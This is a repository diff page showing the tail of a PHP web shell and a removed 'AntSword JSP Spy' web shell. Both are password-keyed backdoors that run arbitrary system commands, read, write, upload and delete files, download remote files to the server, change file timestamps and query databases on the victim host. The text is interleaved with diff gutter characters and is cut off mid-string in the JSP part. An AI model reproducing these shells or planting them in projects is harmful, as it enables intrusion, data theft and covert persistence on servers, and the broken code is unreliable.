$src=(m?stripslashes($oldName):$oldName);
|
||||||
|
$dst=(m?stripslashes($newName):$newName);
|
||||||
|
return (rename($src,$dst)?"1":"0");
|
||||||
|
}
|
||||||
|
function CreateDirCode($name){
|
||||||
|
$m=get_magic_quotes_gpc();
|
||||||
|
$f=($m?stripslashes($name):$name);
|
||||||
|
return (mkdir($f)?"1":"0");
|
||||||
|
}
|
||||||
|
function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){
|
||||||
|
$m=get_magic_quotes_gpc();
|
||||||
|
$FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
|
||||||
|
$TM=strtotime((m?stripslashes($newTime):$newTime));
|
||||||
|
if(file_exists($FN)){
|
||||||
|
return (@touch($FN,$TM,$TM)?"1":"0");
|
||||||
|
}else{
|
||||||
|
return ("0");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function WgetCode($urlPath, $savePath){
|
||||||
|
$fR=$urlPath;
|
||||||
|
$fL=$savePath;
|
||||||
|
$F=@fopen($fR,chr(114));
|
||||||
|
$L=@fopen($fL,chr(119));
|
||||||
|
if($F && $L){
|
||||||
|
while(!feof($F))
|
||||||
|
@fwrite($L,@fgetc($F));
|
||||||
|
@fclose($F);
|
||||||
|
@fclose($L);
|
||||||
|
return "1";
|
||||||
|
}else{
|
||||||
|
return "0";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function ExecuteCommandCode($cmdPath, $command){
|
||||||
|
$p=$cmdPath;
|
||||||
|
$s=$command;
|
||||||
|
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
|
||||||
|
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
|
||||||
|
$r="{$p} {$c}";
|
||||||
|
@system($r." 2>&1",$ret);
|
||||||
|
return ($ret!=0)?"ret={$ret}":"";
|
||||||
|
}
|
||||||
|
|
||||||
|
@ini_set("display_errors", "0");
|
||||||
|
@set_time_limit(0);
|
||||||
|
@set_magic_quotes_runtime(0);
|
||||||
|
|
||||||
|
$funccode = EC($_REQUEST[$pwd]);
|
||||||
|
$z0 = decode(EC($_REQUEST['z0']));
|
||||||
|
$z1 = decode(EC($_REQUEST['z1']));
|
||||||
|
$z2 = decode(EC($_REQUEST['z2']));
|
||||||
|
$z3 = decode(EC($_REQUEST['z3']));
|
||||||
|
|
||||||
|
// echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">";
|
||||||
|
echo "->|";
|
||||||
|
$ret = "";
|
||||||
|
try {
|
||||||
|
switch ($funccode) {
|
||||||
|
case 'A':
|
||||||
|
$ret = BaseInfo();
|
||||||
|
break;
|
||||||
|
case 'B':
|
||||||
|
$ret = FileTreeCode($z1);
|
||||||
|
break;
|
||||||
|
case 'C':
|
||||||
|
$ret = ReadFileCode($z1);
|
||||||
|
break;
|
||||||
|
case 'D':
|
||||||
|
$ret = WriteFileCode($z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'E':
|
||||||
|
$ret = DeleteFileOrDirCode($z1);
|
||||||
|
break;
|
||||||
|
case 'F':
|
||||||
|
DownloadFileCode($z1);
|
||||||
|
break;
|
||||||
|
case 'U':
|
||||||
|
$ret = UploadFileCode($z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'H':
|
||||||
|
$ret = CopyFileOrDirCode($z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'I':
|
||||||
|
$ret = RenameFileOrDirCode($z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'J':
|
||||||
|
$ret = CreateDirCode($z1);
|
||||||
|
break;
|
||||||
|
case 'K':
|
||||||
|
$ret = ModifyFileOrDirTimeCode($z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'L':
|
||||||
|
$ret = WgetCode($z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'M':
|
||||||
|
$ret = ExecuteCommandCode($z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'N':
|
||||||
|
$ret = showDatabases($z0, $z1);
|
||||||
|
break;
|
||||||
|
case 'O':
|
||||||
|
$ret = showTables($z0, $z1, $z2);
|
||||||
|
break;
|
||||||
|
case 'P':
|
||||||
|
$ret = showColumns($z0, $z1, $z2, $z3);
|
||||||
|
break;
|
||||||
|
case 'Q':
|
||||||
|
$ret = query($z0, $z1, $z2);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
// $ret = "Wrong Password";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (Exception $e) {
|
||||||
|
$ret = "ERROR://".$e;
|
||||||
|
}
|
||||||
|
echo $ret;
|
||||||
|
echo "|<-";
|
||||||
|
?>
|
|
@ -1,133 +0,0 @@
|
||||||
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
|
||||||
<%!
|
|
||||||
/**
|
|
||||||
* AntSword JSP Spy
|
|
||||||
*
|
|
||||||
* AntSword 最低版本:v1.1-dev,使用方式 custom 模式连接
|
|
||||||
* Date: 2016/03/26 v1
|
|
||||||
* 1. 文件系统 和 terminal 管理
|
|
||||||
* 2. mysql 数据库支持
|
|
||||||
* 3. 支持 base64 和 hex 编码
|
|
||||||
**/
|
|
||||||
String Pwd = "ant"; //连接密码
|
|
||||||
String encoder = "base64"; // 数据编码
|
|
||||||
//String encoder = "hex";
|
|
||||||
String cs = "UTF-8";
|
|
||||||
String EC(String s) throws Exception {
|
|
||||||
if(encoder.equals("hex") || encoder == "hex") return s;
|
|
||||||
return new String(s.getBytes("ISO-8859-1"), cs);
|
|
||||||
}
|
|
||||||
String showDatabases(String encode, String conn) throws Exception {
|
|
||||||
String sql = "show databases"; // mysql
|
|
||||||
String columnsep = "\t";
|
|
||||||
String rowsep = "";
|
|
||||||
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
|
|
||||||
}
|
|
||||||
String showTables(String encode, String conn, String dbname) throws Exception {
|
|
||||||
String sql = "show tables from " + dbname; // mysql
|
|
||||||
String columnsep = "\t";
|
|
||||||
String rowsep = "";
|
|
||||||
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
|
|
||||||
}
|
|
||||||
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
|
|
||||||
String columnsep = "\t";
|
|
||||||
String rowsep = "";
|
|
||||||
String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
|
|
||||||
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
|
|
||||||
}
|
|
||||||
String query(String encode, String conn, String sql) throws Exception {
|
|
||||||
String columnsep = "\t|\t"; // general
|
|
||||||
String rowsep = "\r\n";
|
|
||||||
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
|
|
||||||
}
|
|
||||||
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
|
|
||||||
throws Exception {
|
|
||||||
String ret = "";
|
|
||||||
conn = (EC(conn));
|
|
||||||
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
|
|
||||||
Class.forName(x[0].trim());
|
|
||||||
String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder);
|
|
||||||
Connection c = DriverManager.getConnection(url);
|
|
||||||
Statement stmt = c.createStatement();
|
|
||||||
ResultSet rs = stmt.executeQuery(sql);
|
|
||||||
ResultSetMetaData rsmd = rs.getMetaData();
|
|
||||||
if (needcoluname) {
|
|
||||||
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
|
|
||||||
String columnName = rsmd.getColumnName(i);
|
|
||||||
ret += columnName + columnsep;
|
|
||||||
}
|
|
||||||
ret += rowsep;
|
|
||||||
}
|
|
||||||
while (rs.next()) {
|
|
||||||
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
|
|
||||||
String columnValue = rs.getString(i);
|
|
||||||
ret += columnValue + columnsep;
|
|
||||||
}
|
|
||||||
ret += rowsep;
|
|
||||||
}
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
String WwwRootPathCode(HttpServletRequest r) throws Exception {
|
|
||||||
String d = r.getSession().getServletContext().getRealPath("/");
|
|
||||||
String s = "";
|
|
||||||
if (!d.substring(0, 1).equals("/")) {
|
|
||||||
File[] roots = File.listRoots();
|
|
||||||
for (int i = 0; i < roots.length; i++) {
|
|
||||||
s += roots[i].toString().substring(0, 2) + "";
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
s += "/";
|
|
||||||
}
|
|
||||||
return s;
|
|
||||||
}
|
|
||||||
String FileTreeCode(String dirPath) throws Exception {
|
|
||||||
File oF = new File(dirPath), l[] = oF.listFiles();
|
|
||||||
String s = "", sT, sQ, sF = "";
|
|
||||||
java.util.Date dt;
|
|
||||||
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
|
||||||
for (int i = ").getBytes(), 0, 3);
|
|
||||||
while ((n = is.read(b, 0, 512)) != -1) {
|
|
||||||
os.write(b, 0, n);
|
|
||||||
}
|
|
||||||
os.write(("");
|
|
||||||
if (funccode.equals("B")) {
|
|
||||||
sb.append(FileTreeCode(pars[1]));
|
|
||||||
} else if (funccode.equals("C")) {
|
|
||||||
sb.append(ReadFileCode(pars[1]));
|
|
||||||
} else if (funccode.equals("D")) {
|
|
||||||
sb.append(WriteFileCode(pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("E")) {
|
|
||||||
sb.append(DeleteFileOrDirCode(pars[1]));
|
|
||||||
} else if (funccode.equals("F")) {
|
|
||||||
DownloadFileCode(pars[0], response);
|
|
||||||
} else if (funccode.equals("U")) {
|
|
||||||
sb.append(UploadFileCode(pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("H")) {
|
|
||||||
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("I")) {
|
|
||||||
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("J")) {
|
|
||||||
sb.append(CreateDirCode(pars[1]));
|
|
||||||
} else if (funccode.equals("K")) {
|
|
||||||
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("L")) {
|
|
||||||
sb.append(WgetCode(pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("M")) {
|
|
||||||
sb.append(ExecuteCommandCode(pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("N")) {
|
|
||||||
sb.append(showDatabases(pars[0], pars[1]));
|
|
||||||
} else if (funccode.equals("O")) {
|
|
||||||
sb.append(showTables(pars[0], pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("P")) {
|
|
||||||
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
|
|
||||||
} else if (funccode.equals("Q")) {
|
|
||||||
sb.append(query(pars[0], pars[1], pars[2]));
|
|
||||||
} else if (funccode.equals("A")) {
|
|
||||||
sb.append(SysInfoCode(request));
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
sb.append("ERROR" + "://" + e.toString());
|
|
||||||
}
|
|
||||||
sb.append("|<-");
|
|
||||||
out.print(sb.toString());
|
|
||||||
%>
|
|
Loading…
Reference in a new issue